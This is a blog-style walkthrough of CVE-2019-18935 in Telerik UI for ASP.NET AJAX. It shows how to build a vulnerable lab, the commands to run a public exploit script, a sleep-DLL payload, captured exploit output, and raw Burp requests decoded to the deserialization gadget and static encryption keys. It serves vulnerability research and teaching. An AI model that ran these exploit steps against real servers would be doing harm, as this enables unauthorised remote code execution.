# Telerik CVE-2019-18935
CISA recently published a list of known exploited vulnerabilities and I've had the opportunity to take a deep dive into [CVE-2019-18935](https://bishopfox.com/blog/cve-2019-18935-remote-code-execution-in-telerik-ui).
If you were lucky enough to download the trial of their software when the CVE came out, you can exploit this yourself.
There's also a copy on virustotal :)
https://www.virustotal.com/gui/file/3b5f95165ec6730f99090b53ae3c5d511a17baaa97fd452b62c93e3423138701
```
Telerik_UI_for_ASP.NET_AJAX_2017_2_503_Demos_Trial.msi md5: bd773a944cbd9ec0fc9420b898feeb99
Telerik.Web.UI.dll (version: 2017.2.503.40) md5:3318d514b624165702c8871a2b4eba34
```
For $1300. you could buy a license and download old versions of their software from their website.
## Setup
The MSI package installs a link on your desktop that starts a set of examples which happen to be exploitable.

There are also [docs online](https://demos.telerik.com/aspnet-ajax/asyncupload/examples/overview/defaultcs.aspx)
A lot of researchers seem to use this, but if you just have access to the dll and not the msi here are some quick steps for you.
### Manual Installation
Install asp.net on a windows server (I used a trial of 2019) https://www.server-world.info/en/note?os=Windows_Server_2019&p=iis&f=7
Create a `default.aspx` in `C:\inetpub\wwwroot` with the following contents:
```
<%@ Page Language="C#" Debug="true" %>
<%@ Register TagPrefix="telerik" Namespace="Telerik.Web.UI" Assembly="Telerik.Web.UI" %>
```
Create a `web.config` in `C:\inetpub\wwwroot` with the following contents:
```
```
Copy `Telerik.Web.UI.dll` to `C:\inetpub\wwwroot\bin`
Create a `C:\inetpub\wwwroot\App_Data` and give the iis user write access to it from explorer.
Navigate to the website with your browser.

This minified example took a bit to figure out, so be thankful I did all the hard work for you :)
## Exploitation
There's a [metasploit module](https://www.rapid7.com/db/modules/exploit/windows/http/telerik_rau_deserialization/), but after a lot of debugging I found it is currently broken for older versions of telerik.
Telerik in 2017 used pbkdf1 where the metasploit exploit only supports [pbkdf2](https://github.com/rapid7/metasploit-framework/blob/3066c5b05e88aded8596e3ec47f355e456e76d55/modules/exploits/windows/http/telerik_rau_deserialization.rb#L236).
You would think it would be as easy as changing the OpenSSL function, but pbkdf1 has been removed from openssl.
I don't know enough ruby to fix the exploit, but here's a [code snippet](https://vteams.com/blog/implementation-of-pbkdf1-data-encryption-in-different-languages/) implementing pbkdf1 in ruby if you feel so inclined.
Here is also a working [python implementation](https://github.com/noperator/CVE-2019-18935/blob/master/RAU_crypto/RAU_crypto.py) you can use as reference.
The easiest way to exploit this is using [Bishop Fox's github link](https://github.com/noperator/CVE-2019-18935)
```
git clone https://github.com/noperator/CVE-2019-18935.git && cd CVE-2019-18935
python3 -m venv env
source env/bin/activate
python3 -m pip install -U pip
python3 -m pip install -r requirements.txt
```
The command to exploit the server is
```
python3 CVE-2019-18935.py -v 2017.2.503 -p payloads/sleep-amd64.dll -u http://192.168.0.54/Telerik.Web.UI.WebResource.axd?type=rau
```
The version can be found from viewing the source on the web page of the exploitable service, but it can also be bruteforced.

The dll is a compiled version of sleep.c, which locks the web application for 10s. It can be built using `build-dll.bat` and Visual Studio 2019.
```
#include
#include
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
if (fdwReason == DLL_PROCESS_ATTACH)
Sleep(10000); // Time interval in milliseconds.
return TRUE;
}
```
Keep in mind each dll can only run once on a server between reboots. In order to re-exploit you will need to recompile the dll to change it's hash or reboot.
Successful exploitation looks like this:
```
[*] Local payload name: payloads2/sleep-2-amd64.dll
[*] Destination folder: C:\Windows\Temp
[*] Remote payload name: 1636595979.427267.dll
{'fileInfo': {'ContentLength': 90624,
'ContentType': 'application/octet-stream',
'DateJson': '1970-01-01T00:00:00.000Z',
'FileName': '1636595979.427267.dll',
'Index': 0},
'metaData': {'AsyncUploadTypeName': 'Telerik.Web.UI.UploadedFileInfo, '
'Telerik.Web.UI, Version=2017.2.503.40, '
'Culture=neutral, '
'PublicKeyToken=121fae78165ba3d4',
'TempFileName': '1636595979.427267.dll'}}
[*] Triggering deserialization for .NET v4.0.0.0...
Runtime Error
[*] Response time: 10.07 seconds
```
## Explanation
Ok so how does it work?
When you upload a file to the server using the exploit you get the following request in burpsuite (I added a proxy to the request call in the python script).
```
POST /Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1
Host: 192.168.0.54
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: close
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Content-Length: 93130
Content-Type: multipart/form-data; boundary=59b58c4da432f4b0e229b7f0e34013b6
--59b58c4da432f4b0e229b7f0e34013b6
Content-Disposition: form-data; name="rauPostData"
ATTu5i4R+ViNFYO6kst0jC11wM/1iqH+W/isjhaDjNtSL4i0BX6wnHZVtkSpfZ8pOxh5aIKzTO+1TvLT/S6NT0wnqIPU8UuGifJAcamKaU3Hm3xkpSieQn7Ut23zqL8/tEKW7qut9dt4jAz7VIeyNCLLCnQ7DUiLJtSafnT/02UsqN3xHUvZuGtswm3ncaO9AayiotvEfGSXAfKmiMQ87f3BGpX8llk5vaxtWp01SU+96R9W69lBOak8gP9si9MMgUHWp5czldHYG/Y4YVPjaJRK3d1mb4J6klQpibROWV3y1PsjZ1rd5Mcb34lGlu70V3XddoXXqoYyKF+jEsSzYV76NkY755EffPmWyPvcqpjtktK5b7AEBmAIvfcMUW+PtDAGB9wRlSRAzfr2CtQVVaKA7Dvp5JjD/AzMlrxeM7Us7FK1UfwWymAFr2JzBVtLfMg2QUUEzTuqjOYXe83pAMbl6Xx3Fn7HAVdPH1/ZxBjjTPqKc5rJaFnVoV023/vtZ1/hAZ/S42f1tN5iNKhqjbsaqPvFELBGohau/7+ujM21eZuNjWMuKJZG11fjUhYdruRfPBJ2qsrKveq8a3nAnLx6dzKCNo+udhKtSgK3vIGx1yNZOf1UB+uB/v7A6b9nEFbOkC0wiFU4JLRCAHRpJymr+yZywYTs1I7lMkdIUf6JGMWpvdQwStQzcyKnY0cJYw3WXykm1vfhM1OhVYB30Mnk7zXpHHuGax6+lTxne94sEUyzCx2l+nlUvolPeD9KoBGAuEMxkUTelwdAGe34k2sA05ck/DH/z3SMb5PZj2SiJGbiNMmQofXaiFuJWOItgu+QXGKbrPMWNQBYPCcPr4S/3uIYsX2F3EY5//+zKJb/QiqIY2CaPrfUuFCcuo6+jH2i0ZeLNja3BQilnR57xemApx6lD7cmnAv1pnLDSIEdfbT6drzvtojExFaXDsXB7GEpCJia7EgL+WEpTFNRhjIa0PAntp3EOIONk4BUQSWmaK0UIBWeIwKDyIzyu6j3hjd87prF8n/5/ffhQxZpO7nW5GlBjxkfAfCZqY6I1Iw3bufK/rm6qneRUJTvYoPlVGNsUk9waG2l06hzG5DCgGabADLZpUxbPvyQ0aV/ClcZSlFiu+wZDuSD8Zq1p1QEGWIh5K2zfrbvNXVP1eeT+36Fu/ecDTXov8/HkP4Qc1I6L40BgYulRLREksYZtSnsPS57XCrXFrrpvPN6iCXeJU8qMlbDuXwzc22lppui694MRrpGNsxmFGqWxX6bkRZsTy0OUeKM01nPqVRQ2s31eZKO/280DJMy1JLr8RTzZRNImrCdE+LQv19IzzF4skVp&6R/cGaqQeHVAzdJ9wTFOyCsrMSTtqcjLe8AHwiPckPDUwecnJyNlkDYwDQpxGYQ9hs6YxhupK310sbCbtXB4H6Dz5rGNL40nkkyo4j2clmRr08jtFsPQ0RpE5BGsulPT3l0MxyAvPFMs8bMybUyAP+9RB9LoHE3Xo8BqDadX3HT1WFL4XVDQYdEAzeZHzRhIm3oc9GVIoT8gzqmzeE0FoWO2ik0en3tqWL9xkgbVlXYx1vJ0sMRUGg7yoyep7vzsxGO8XG1i1DX5JHgzPY/Mgp8dvmZBN9feqrgKNSA9sIZDCDOCr8tPctJhwt8+YWMvQAnfVPbjkscLzYFtOAUELA==
--59b58c4da432f4b0e229b7f0e34013b6
Content-Disposition: form-data; name="file"; filename="1636595979.427267.dll"
Content-Type: application/octet-stream
MZ...
```
The rauPostData is an encrypted paramater separated in two parts by the & character.
The paramter is encrypted by default using the static strings `PrivateKeyForEncryptionOfRadAsyncUploadConfiguration` and `PrivateKeyForHashOfUploadConfiguration`.
The DLL can be reversed using DNSpy and these statics and encryption methods can be easily uncovered.
Someone made a [csharp project](https://github.com/ac3lives/RadAsync-Arbitrary-File-Upload/blob/master/RadAsync-ArbitraryFile-PayloadGenerator.cs) that decodes these blobs for you.
The first part of the string decodes to
```
{"TargetFolder": "", "TempTargetFolder": "C:\Windows\Temp", "MaxFileSize": 0, "TimeToLive": {"Ticks": 1440000000000, "Days": 0, "Hours": 40, "Minutes": 0, "Seconds": 0, "Milliseconds": 0, "TotalDays": 1.6666666666666665, "TotalHours": 40, "TotalMinutes": 2400, "TotalSeconds": 144000, "TotalMilliseconds": 144000000}, "UseApplicationPoolImpersonation": false}
```
Where the second part decodes to
```
Telerik.Web.UI.AsyncUploadConfiguration, Telerik.Web.UI, Version=2017.2.503.40, Culture=neutral, PublicKeyToken=121fae78165ba3d4
```
A normal request to upload a file looks very simliar
```
{"TargetFolder":"","TempTargetFolder":"C:\inetpub\wwwroot\App_Data\RadUploadTemp","MaxFileSize":0,"TimeToLive":{"Ticks":144000000000,"Days":0,"Hours":4,"Milliseconds":0,"Minutes":0,"Seconds":0,"TotalDays":0.16666666666666666,"TotalHours":4,"TotalMilliseconds":14400000,"TotalMinutes":240,"TotalSeconds":14400},"UseApplicationPoolImpersonation":false,"AllowedFileExtensions":[".msi",".exe",".jpeg",".jpg",".png",".doc",".docx",".xls",".xlsx"]}
```
```
Telerik.Web.UI.AsyncUploadConfiguration, Telerik.Web.UI, Version=2017.2.503.40, Culture=neutral, PublicKeyToken=121fae78165ba3d4
```
Only the `TempTargetFolder` is modified.
This abuses CVE-2017-11317 to be able to write files anywhere. You could likely use this in and of itself to write an aspx to the webroot and get code exec.
However this second CVE is the one we care about in this blog.
The second part of the rauPostData is an object that gets deserialized and can be abused to execute dlls you upload.
Here's the exploit in burp:
```
POST /Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1
Host: 192.168.0.54
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: close
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Content-Length: 781
Content-Type: multipart/form-data; boundary=54614540dee1bda7da89f0b4b5675cb2
--54614540dee1bda7da89f0b4b5675cb2
Content-Disposition: form-data; name="rauPostData"
aJW1Mow+1F+sSwhDa2kgirjeDTGESU1St5QNRspjpeySGr75vgrkc5iuewihC0HMCea+GpFFepzWr/4pbWEeDN1qoLJuxT5cPVQnVfxZQSDSSizUclgeQw5Shw1s3lNWzm8sIxjMs16s3Ov208CxnKffAy0hfnyPV5VwdqZwCpE=&jygg1i256Y8s4FsobyTDoGTcTOo29MrFC2c8gyhyUB1cXUIPTmJa6VoSf/K7I9CDEnNoA3p2mjYZv0kDSBEidAjqYGhUVtelp/RnGmwncf20Y5ODEe8bco7OP0qLk62tYSLTJG8gczlfX7PBgttRQD99+VDIbcMMniCW7DRbvVPtX5spRQSjUiaG1RY7RZd1Qw6tEgV7H7pG1QdM+364ccKpZIDDxwBct1uijza1TueTbRcmhpVfOv/liIPJsUsZVr3RxiQxGlBtu4EixqpCn6aLl/NDzss1juagWMXK+JMvDhPIZkYhWGBEYrpMr+KP2BRxH1Q++igogyX1524p/HcHaLI13wcpQ7mzkE+Er0HzY1D71Xj6wePfGi0r8ul1
--54614540dee1bda7da89f0b4b5675cb2
Content-Disposition: form-data; name=""; filename=""
--54614540dee1bda7da89f0b4b5675cb2--
```
which decodes to
```
{"Path": "file:///C:/Windows/Temp/1636595979.427267.dll"}
```
```
System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
```
Using DNSpy you can see how this happens by opening up Telerik.Web.UI.dll
In: Telerik.Web.UI -> AsyncUploadHandler -> GetConfiguration -> you'll see it take a configuration and call SerializationService.Deserialize() -> This function then uses System.Web.Script.Serialization to deserialize the object and invoke our dll.